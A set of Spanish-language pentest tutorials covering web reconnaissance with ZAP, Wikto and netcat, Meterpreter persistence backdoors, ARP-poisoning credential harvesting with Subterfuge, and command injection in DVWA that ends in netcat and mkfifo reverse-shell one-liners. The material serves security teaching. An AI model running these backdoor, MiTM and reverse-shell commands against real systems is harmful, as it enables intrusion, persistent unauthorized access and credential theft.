La Cabecera Referer

Body

Las navegadores incluyen una cabecera de nombre “Referer” dentro de la mayoría de peticiones HTTP. Esta cabecera es utilizada para indicar la URL de la página origen de una petición, ya sea esto debido a un clic del usuario en un hiper vínculo o el envío de un formulario, como también debido a la referencia por parte de la página hacia otros recursos como imágenes. Por lo tanto, esto puede ser aprovechado como un mecanismo para transmitir datos mediante un cliente web. Debido a que las URLs procesadas por la aplicación web están dentro de su control, los desarrolladores pueden asumir el uso de la cabecera “Referer” para determinar de manera confiable cual URL generó una petición en particular.

Con la ayuda de Zed Attack Proxy es factible visualizar esta información en la pestaña de nombre “Request” o “Petición”, ubicado en el panel superior derecho.

Para ubicar todas las páginas conteniendo la cadena de texto “Referer”, utilizar la pestaña “Search” o Buscar ubicada en el panel inferior.

La cabecera “Referer” puede ser abusada en casos donde se requiere la definición de una URL particular para acceder a la siguiente funcionalidad en el flujo de trabajo. Por ejemplo verificar la definición de Referer a “login.php” antes de poder acceder hacia “edituser.php”. Esto puede ser fácilmente abusado accediendo directamente hacia “edituser.php”, interceptando la petición con ZAP, modificando el valor del campo Referer a “login.php”, para luego enviarlo hacia la aplicación web.

Fuentes:

http://www.w3.org/Protocols/HTTP/HTRQ_Headers.html#z14

Mostrar los Campos Ocultos de un Formulario utilizando ZAP

Body

Los campos ocultos en el formulario de una aplicación web son un mecanismo común para transmitir datos mediante un cliente de manera superficialmente inmodificable. Si un campo está oculto, este no será mostrado en la pantalla. Sin embargo, el nombre del campo y valor almacenados dentro del formulario son enviados de retorno hacia la aplicación web cuando el usuario envía el formulario.

Aunque en el siguiente ejemplo existen campos de un formulario con nombres “options”, “task” o “return”, estos no son mostrados al usuario. La manera más sencilla de visualizar estos campos ocultos es revisando manualmente la fuente HTML, e identificar las cadenas de texto type=”hidden”.

Este procedimiento resulta sencillo de realizar automáticamente utilizando la herramienta Zed Attack Proxy. Para el siguiente ejemplo se ha configurado el navegador web firefox para utilizarlo como proxy de interceptación.

En primera instancia se visualiza el formulario en su estado normal. Este no revela la presencia de los campos ocultos antes mencionados.

Se utiliza la opción “Show / enable fields” o Mostrar / habilitar campos de Zed Attack Proxy, para visualizar los campos ocultos y habilitar los campos deshabilitados en el navegador para las nuevas peticiones realizadas. Hacer clic en el ícono con un “foco” o "bombillo" ubicado en el menú ubicado en la parte superior de ZAP.

Al recargar nuevamente la página, será ahora factible el visualizar todos los campos ocultos incluidos en el formulario o las páginas webs.

Ahora ya es factible ingresar manualmente valores en estos campos, o utilizar ZAP para modificarlos y enviarlos hacía la aplicación web.

Fuentes:

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
https://code.google.com/p/zaproxy/wiki/TipsAndTricks

Identificar Tecnologías en el Lado del Servidor Web

Body

Se intenta obtener huellas sobre las tecnologías empleadas en el servidor web, utilizando diversas pistas e indicadores.

Capturando el Banner

Una gran cantidad de servidores web exponen información sobre sus versiones, ya sea sobre el software del servidor web, como también de otros componentes instalados. Este información puede ser obtenida utilizando la herramienta netcat.

$ echo -e "HEAD / HTTP/1.0\r\n" | nc -n -v 192.168.0.27 80

Huella HTTP

Los administradores tienen la capacidad de falsificar la información devuelta por el servidor web. Pero aunque esto sea realizado, es usualmente factible determinar el software en utilización, o al menos tener un buena aproximación en un rango de posibilidades. La especificación HTTP contiene muchos detalles opcionales o dejados a discreción del implementador. Esto permite obtener la huella de un servidor web con formas más sutiles al típico método de obtener el banner “Server”.

Para el siguiente ejemplo se utiliza la herramienta httprecon, el cual realizará diversas pruebas en una intento de determinar la huella sobre el software del servidor web.

Extensiones de Archivos

Las extensiones utilizadas dentro de las URLs exponen frecuentemente la plataforma o lenguaje de programación utilizado para implementar una funcionalidad.

Entre las extensiones más frecuentes se tienen; asp (Microsoft Active Pages), aspx (Microsoft ASP.NET), jsp (Java Server Pages), php (PHP Language), etc. En el siguiente ejemplo se muestra una página con extensión PHP.

Nombres de Directorios

Es común encontrar nombres de subdirectorios los cuales indican la presencia de una tecnología asociada como; servlet (Java servlets), pls (Oracle Application Server PL/SQL gateway), etc.

Tokens de Sesión

Una gran cantidad de servidores web y plataformas de aplicación web generan por defecto tokens de sesión con nombres bastante descriptivos sobre la tecnología en uso. Por ejemplo; ASPSESSIONID (Microsoft IIS Server), JSESESSIONID (Java Platform), PHPSESSID (PHP), ASP.NET_SessionID (Microsoft ASP.NET), etc.

Para visualizar esta información se puede utilizar la extensión para Firefox de nombre Cookies Manager+.

Componentes de Código de Terceros

Varias aplicaciones web incorporan componentes con código de terceros para implementar funcionalidades comunes, como carritos de compra, mecanismos de “login”, y tableros de mensajes. Frecuentemente estos componentes son utilizados por otras aplicaciones con diferentes funcionalidades, lo cual permite identificar comportamientos y funcionalidades adicionales. También este software puede contener vulnerabilidades ya publicadas, o descubrirlas mediante una revisión de código o pruebas.

Fuentes:

http://nc110.sourceforge.net/
http://netcat.sourceforge.net/
https://w3dt.net/tools/httprecon
https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/

Escanear un Servidor Web utilizando Wikto

Body

Las vulnerabilidades pueden existir en la capa correspondiente al servidor web, el cual permite descubrir contenidos o funcionalidades no enlazadas dentro de la aplicación web. Las fallas encontradas en el software del servidor web pueden permitir a un atacante listar el contenido de directorios u obtener el código fuente de páginas. Existen aplicaciones las cuales incluyen contenido por defecto, lo cual ayuda a atacarlas. Los scripts de ejemplo o diagnóstico pueden contener vulnerabilidades o funcionalidades aprovechables para propósitos maliciosos.

Una de las herramientas para realizar esta evaluación es Wikto, el cual es totalmente inconsciente de la aplicación (si la hubiera) ejecutándose en el sitio web. Wikto no busca problemas de inyección SQL, de autorización o de otro tipo en el sitio web. Wikto intenta, por ejemplo, encontrar directorios y archivos interesantes sobre el sitio web, buscando por scripts de ejemplo a ser abusados o encontrar vulnerabilidades conocidas en la implementación del servidor web.

Ejecutar Wikto. Se presentará una nueva ventana con un asistente de ayuda para el escaneo.

En la pestaña de nombre “Target Selection” o Selección del Objetivo, definir la dirección IP o nombre de host, el uso de HTTP o HTTPS, el número de puerto, y si el host da la cara hacia Internet.

En la pestaña de nombre “Configuration” o Configuración, definir el uso o no de un Proxy para acceder hacia el host.

Confirmar los Ajustes definidos en la pestaña de nombre “Confirm Settings” o Confirmar Configuración.

En la pestaña de nombre “Overview” o de Visión Global, hacer clic en el botón verde con el texto “Finish” o Finalizar.

Para iniciar el escaneo hacer clic sobre el botón de color verde con el texto “Start” o Iniciar, ubicado en la parte superior izquierda.

Al finalizar el proceso realizado por el “Spider” se presentarán los directorios encontrados en el panel superior de nombre “Directories mined”.

Ahora en la pestaña de nombre “BackEnd”, hacer clic en el botón rojo de nombre “Clear List” para borrar la lista por defecto incluida en Wikto, esto con el propósito de importar los directorios encontrados por el Spider, haciendo clic en el botón de color azul con el texto “Spider”.

Al finalizar este proceso se presentará la información detallada sobre todos los ítemes descubiertos por Wikto, lo cual incluye Directorios Descubiertos e Indexables, como también los Archivos Descubiertos.

También se puede escanear el objetivo en busca de vulnerabilidades, malas configuraciones, fallas u otros temas de seguridad, utilizando la base de datos de Nikto2. Hacer clic en la pestaña de nombre “Wikto”, para luego proceder a hacer clic en el botón de nombre “Load Nikto Database” o “Carga la Base de Datos de Nikto”. Finalizada la importación se presentará una ventana de conformidad. Para iniciar el escaneo hacer clic en el botón verde de nombre “Start” o Iniciar.

Finalizado el proceso se expondrán los resultados obtenidos.

Fuentes:

http://research.sensepost.com/tools/web/wikto
http://research.sensepost.com/cms/resources/tools/web/wikto/using_wikto…
https://cirt.net/Nikto2

Utilizar Información Pública para Mapear una Aplicación Web

Body

Una aplicación web puede incluir contenidos y funcionalidades no enlazados desde un contenido principal, pero los cuales pueden haber sido enlazadas en el pasado. En este escenario, es probable encontrar referencias a este contenido oculto en diversos repositorio históricos. Existen dos tipos principales de estos recursos.

Motores de Búsqueda

Aquí se incluyen buscadores como Google, Bing, Yahoo. Estos mantienen todos los contenidos indexados por sus spiders o “arañas”, y también almacenan copias temporales o “caché” de algunos contenidos, lo cual se mantiene después de eliminarse el contenido original.

Google recorre la web y toma instantáneas de cada página como un “backup” o copia de respaldo en caso la página actual no esté disponible. Estas páginas se convierten en parte del caché de Google. Cuando se lo visite, se visualizará una versión previa del sitio almacenado.

El caché de una página puede ser accedida haciendo clic en el ícono con el triángulo verde ubicado al final de la URL, para luego seleccionar la opción “Cached”.

También puede accederse al caché de una página utilizando la directiva “cache” de Google.


cache:www.owasp.org

Para el caso del buscador “Bing”, hacer clic en el ícono con el triángulo verde ubicado al final de la URL, para luego seleccionar la opción “Cached page”.

Se mostrará la instantánea de la página almacenada en el caché de Bing.

Archivos Web

Aquí un sitio web resalta, cuyo nombre es The Way Back Machine. El cual mantiene un registro histórico de un amplio número de sitios web. Permite a los usuarios navegar completamente a través de la instantánea capturada de un sitio web. Estas instantáneas corresponden a diversas fechas y a muchos años.

Ingresar al sitio web de Internet Archive, e ingresar la URL a consultar en el recuadro pertinente para luego hacer clic en el botón de nombre “Browse History”.

Se presentará un historial de años y un calendario para cada año seleccionado.

Para propósito de ejemplo se selecciona una fecha de hace 10 años.

Los resultados son expuestos a continuación.

Adicionalmente al contenido enlazado en el pasado, los recursos antes mencionados pueden contener referencias a contenido enlazado desde sitios de terceros, pero no desde el interior de la aplicación web objetivo.

Fuentes:

http://www.google.com
http://www.archive.org/
https://support.google.com/websearch/answer/1687222?hl=en
http://msdn.microsoft.com/en-us/library/ff795620.aspx

Inferencia de Contenido Publicado utilizando Zed Attack Proxy

Body

La mayoría de aplicaciones utilizan algún tipo de esquema para el nombramiento de su contenido y funcionalidad. Infiriendo desde recursos ya identificados dentro de la aplicación, es posible afinar el ejercicio automático de enumeración para incrementar la probabilidad de descubrir contenido oculto.

Durante los procedimientos de Spidering dirigido por el usuario o automático, navegación forzada o por fuerza bruta, se identifican páginas en las aplicaciones web, lo cual nos permite realizar la inferencia requerida. Por ejemplo para los archivos en el subdirectorio de nombre /users/

Utilizando Zed Attack Proxy es factible realizar un ataque por fuerza bruta personalizado sobre una parte del nombre del archivo. Para esto es necesario compilar una lista de cadenas de texto o palabras para tratar de identificar el esquema de nombramiento en uso. Dada la identificación de nombres de archivos con extensión php como home, login, logout, register, similar y view, es factible intentar la identificación de otros nombres de archivos.

Seleccionar el nombre del archivo sin la extensión, luego hacer clic derecho y seleccionar la opción “Fuzz...”

En la nueva ventana presentada seleccionar el nombre del archivo para luego hacer clic en el botón de nombre “Fuzz”. Esto iniciará el procedimiento.

En caso existan resultados positivos, estos serán expuestos en la pestaña de nombre “Fuzzer” ubicado en la parte inferior.

Se puede realizar un procedimiento similar en base a las extensiones de los ítemes enumerados para encontrar por ejemplo copias de seguridad de páginas en funcionamiento. Entre las extensiones más comunes se tienen a txt, bak, src, inc, old, etc.

Seleccionar la extensión del archivo para luego seleccionar la opción “Fuzz...”

En la nueva ventana presentada seleccionar el archivo conteniendo el listado de extensiones a utilizar. Luego hacer clic en el botón de nombre “Fuzz”.

El procedimiento y los resultados del mismo serán presentados en la pestaña de nombre “Fuzzer” ubicado en la parte inferior.

Cada proceso descrito puede ser realizado de manera recursiva utilizando nuevos contenidos enumerados y patrones como base para posteriores acciones de spidering dirigidos por el usuario y descubrimiento automático de contenido.

Fuentes:

https://code.google.com/p/zaproxy/
https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Fil…

Crear una Puerta Trasera Persistente utilizando Meterpreter

Body

Después del duro trabajo de explotar un sistema, es una buena idea tener una manera sencilla de regresar al sistema después. Aunque sea parchado el servicio explotado será factible ganar acceso hacia el sistema. Metasploit incluye un script Meterpreter de nombre “persistence”, el cual creará un servicio Meterpreter disponible aunque el sistema sea reiniciado.

Utilizar la opción “-h” para obtener la información detallada sobre sus opciones.

> run persistence -h

Se configura la sesión persistente Meterpreter con la opción “-U” para iniciar automáticamente el agente cuando un usuario realice “login”. La opción “-i” define el intervalo de tiempo en segundos entre cada intento de conexión. La opción “-p” define el puerto del host remoto donde está atendiendo Metasploit Framework, y la opción “-r” corresponde a la dirección IP del sistema ejecutando Metasploit atendiendo por la conexión devuelta.

> run persistence -U -i 5 -p 80 -r 192.168.0.12

Entre toda la información detallada se indica la creación de un archivo en el directorio “C:\WINDOWS\Temp” del objetivo de evaluación.

Así mismo la creación de una clave en el registro de Windows “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\”

Para verificar el correcto funcionamiento de esta técnica, se reinicia el sistema objetivo de evaluación.

> reboot

Se utiliza un manejador genérico definiendo las opciones pertinentes.

> use exploit/multi/handler
> set LHOST 192.168.0.12
> set LPORT 80
> exploit

Nuevamente se obtiene una sesión con Meterpreter para controlar el sistema objetivo.

Es factible también realizar una limpieza de los archivos y llave de registro creados, utilizando el comando “resource” de Meterpreter, el cual permite ejecutar comandos almacenados en un archivo.

> resource /root/.msf4/logs/persistence/USUARIO_201412**.***/USUARIO_201412**.****.rc

Meterpreter no requiere autenticación, por lo tanto cualquiera accediendo hacia el puerto definido tendrá acceso a la puerta trasera.

Fuentes:

http://www.offensive-security.com/metasploit-unleashed/Persistent_Meter…

Trazado de Rutas en Paralelo utilizando Scapy

Body

Scapy es un poderoso programa interactivo para la manipulación de paquetes. Es capaz de falsificar o decodificar paquetes de un amplio número de protocolos, enviarlos por el cable, capturarlos, emparejar peticiones y respuestas, y mucho más. Puede fácilmente manejar las más clásicas tareas como escaneo, traza de ruta, pruebas, evaluación de unidades, ataques o descubrimiento de red (puede reemplazar a hping, 85% a nmap, arspoof, arp-sk arping, tcpump, ethereal, p0f, etc.) También realizar muy buen muchas otras tareas específicas inmanejables para otras herramientas, como enviar tramas inválidas, inyectar tramas propias 802.11, combinar técnicas (VLAN Hopping+ Envenamiento del cache ARP, Decodificación VOIP sobre un canal WEP cifrado,...), etc.

Para el siguiente ejemplo se utilizarán cuatro subdominios de un objetivo de evaluación. Hacia todas ellas se tratará de realizar un trazado de rutas en paralelo utilizando paquetes TCP.

Iniciar Scapy.

# scapy

El mensaje expuesto se debe a la imposibilidad de importar gnuplot. Se procede a instalar en paquete respectivo en Kali Linux.

# apt-get install python-gnuplot

Se inicia nuevamente Scapy

traceroute permite realizar un trazado de ruta instantáneo. Scapy define un conjunto de paquetes, los envía, recibe las respuestas, corresponde las peticiones con las respuestas, y devuelve una lista de parejas de paquetes (petición y respuesta), y una lista de paquetes sin correspondencia. Los puertos destino hacia los cuales se enviarán los paquetes son el TCP 80 y TCP 443, el TTL (Time To Live) Máximo se define a 30, y el número reintentos a -2, este valor implica el reenvío de los paquetes sin respuesta hasta no obtener ninguna respuesta para el mismo conjunto de paquetes sin respuesta 2 veces en una fila.

>>> res,unans=traceroute(["developer.sony.com","mediago.sony.com", "sonywondertechlab.sony.com","wondertechlab.sony.com"],dport=[80,443],maxttl=30,retry=-2)

Finalizado el proceso, Scapy expondrá los resultados en la consola.

Scapy también permite crear una representación gráfica de los resultados obtenidos.

>>> res.graph()

También es factible guardar este gráfico en un archivo.

>>> res.graph(target="> /tmp/grafico.svg")

Para visualizar el archivo creado, se utilizar un visor de imágenes como "eog".

# eog /tmp/grafico.svg

Fuentes:

http://www.secdev.org/projects/scapy/
http://www.secdev.org/projects/scapy/doc/usage.html
http://www.secdev.org/projects/scapy/doc/installation.html#optional-sof…

Automatizar un Ataque MiTM para Recolectar Credenciales utilizando Subterfuge

Body

Subterfuge es un framework diseñado para tomar ventaja del arcano arte del Ataque Hombre en el Medio (MiTM), y hacerlo tan simple como apuntar y disparar. Está constituido de una interfaz agradable y fácil de utilizar la cual produce un ataque más transparente y efectivo, lo cual diferencia a Subterfuge de otras herramientas de ataque. Subterfuge demuestra las vulnerabilidades en el protocolo ARP, mediante la recolección de credenciales atravesando la red, e incluso explotando máquinas mediante condiciones de carrera.

El momento de redactar el presente texto la versión estable de Subterfuge es la 1.0. Su proceso de instalación en Kali Linux es sencilla. Se descarga el archivo pertinente, se verifica su hash SHA1 y procede a utilizar el gestor de paquetes.

# dpkg -i subterfuge_1.0-1_all.deb
# apt-get update
# apt-get -f install

Aunque Subterfuge ya no esté en estado “beta”, algunos de sus módulos y vectores si lo están. A continuación se presenta un listado de sus principales paquetes y su estado.

Vectores:

  • ARP Cache Poisoning: Estable
  • WPAD Hijacking: Beta
  • Rogue DHCP: Beta
  • Wireless AP Gen: Beta

Modulos:

  • Credential Harvester: Estable
  • HTTP Code Injection: Estable
  • Session Hijacking: Beta
  • Tunnel Block: Estable
  • Denial of Service: Beta

Se inicia Subterfuge utilizando la opción “-s”, la cual permite definir la ejecución de Subterfuge en una dirección IP y Puerto alterno. La dirección IP es la asignada a Kali Linux.

# subterfuge -s 192.168.0.12:9000

Utilizando un navegador web como Iceweasel ingresar a la URL y puerto definidos al momento de ejecutar Subterfuge. Se presentará una interfaz muy amigable.

Hacer clic en la pestaña de nombre “Settings” o Ajustes, para definir la interfaz a “eth0” y el “Gateway” o Pasarela a utilizar. Realizado los cambios hacer clic en el botón de nombre “Apply” o Aplicar.

Para el presente ejemplo únicamente se realizará un envenamiento del cache ARP para la dirección IP de la Victima.

Hacer clic en la pestaña de nombre “MITM Vectors” o Vectores MiTM para definir el vector a “ARP Cache Poisoning” o Envenar Cache ARP, además de definir en el campo “Target IP” la dirección IP de la victima. Luego hacer clic en el botón de nombre “Apply” o Aplicar.

Para iniciar el ataque automático hacer clic en el botón de nombre “Start” o Iniciar. Se presentará un mensaje indicando el hecho del intento de ajustar automáticamente la configuración de red por parte de Subterfuge.

La victima visita un sitio web e ingresa sus credenciales. La sección “Credential Harvester” o Recolección de Credenciales presenta la información obtenida con el módulo por defecto "Credential Harvester", el cual permite de manera transparente degradar una sesión HTTPS y robar las credenciales del usuario. El campo “Session Hijacking” o Secuestrar Sesión, presenta la información obtenida con el plugin del mismo nombre, el cual permitirá al usuario suplantar a una victima con la sesión secuestrada. Este ataque ocurre robando la cookie utilizada para autenticarse en un servicio web. Este módulo actualmente solo puede controlado desde el recolector de credenciales.

Fuentes:

https://code.google.com/p/subterfuge/
https://code.google.com/p/subterfuge/downloads/list

Crear un Shell Inverso utilizando mkfifo

Body

mkfifo crea un archivo especial FIFO con un nombre definido, un modo define los permisos del FIFO. Un archivo especial FIFO es similar a un “pipe” o tubería, exceptuando el hecho de ser creado de manera diferente. En lugar de ser un canal de comunicación anónima, un archivo especial FIFO es ingresado en el sistema de archivos llamando a mkfifo().

Una vez creado el archivo especial FIFO de esta manera, cualquier proceso puede abrirlo para lectura o escritura, de manera similar a un archivo ordinario. Sin embargo debe ser abierto simultaneamente en ambos lados antes de proceder a hacer cualquier operación de entrada o salida. Abrir un FIFO para lectura normalmente lo bloquea hasta el momento en el cual es abierto por otro proceso para escritura o viceversa. Existen archivos especiales FIFO para ser manejados sin bloqueo.

Un shell inverso permite obtener una shell interactiva desde el objetivo de evaluación hacia el sistema atacante. Para el siguiente ejemplo se utilizará DVWA.

Se ingresa a la opción “Command Execution” o Ejecución de Comandos ubicado en el panel izquierdo de DVWA, para realizar el siguiente ejemplo.

Se utiliza el comando "which" para localizar el comando “nc”, pues no necesariamente se encuentra instalado o disponible en algunos sistemas.

;which nc

En el sistema atacante se ejecuta netcat en modo atención para recibir la conexión originada desde el objetivo de evaluación.

$ sudo nc -n -vv -l -p 80

Se ejecuta netcat en el objetivo de evaluación para conectarse hacia el sistema del atacante.

;/bin/nc -n -v -e /bin/bash 192.168.0.18 80

El resultado no presenta la shell inversa. Esto es debido al no soporte de la opción “-e” por parte de la versión de netcat instalada en el objetivo del evaluación.

Para solucionar este inconveniente se creará y utilizará un archivo especial FIFO en combinación con otros comandos. El comando mkfifo creará el archivo especial de nombre “f”, luego se utiliza el comando cat sobre el archivo “f” para enviar por una tubería su contenido hacia el comando “sh”, la opción “-i” fuerza al shell a comportarse de manera interactiva. “2 >&1” envía la salida estándar y error estándar del comando precedente hacia el siguiente comando, para este escenario el comando “nc” el cual establecerá una conexión hacia el puerto 80 del atacante, para luego ser redireccionado al archivo especial FIFO “f”.


;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 192.168.0.18 80 >/tmp/f

Y en esta oportunidad si se obtiene una shell inversa en el sistema atacante.

Fuentes:

http://linux.die.net/man/3/mkfifo
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498
http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-…
http://dvwa.co.uk/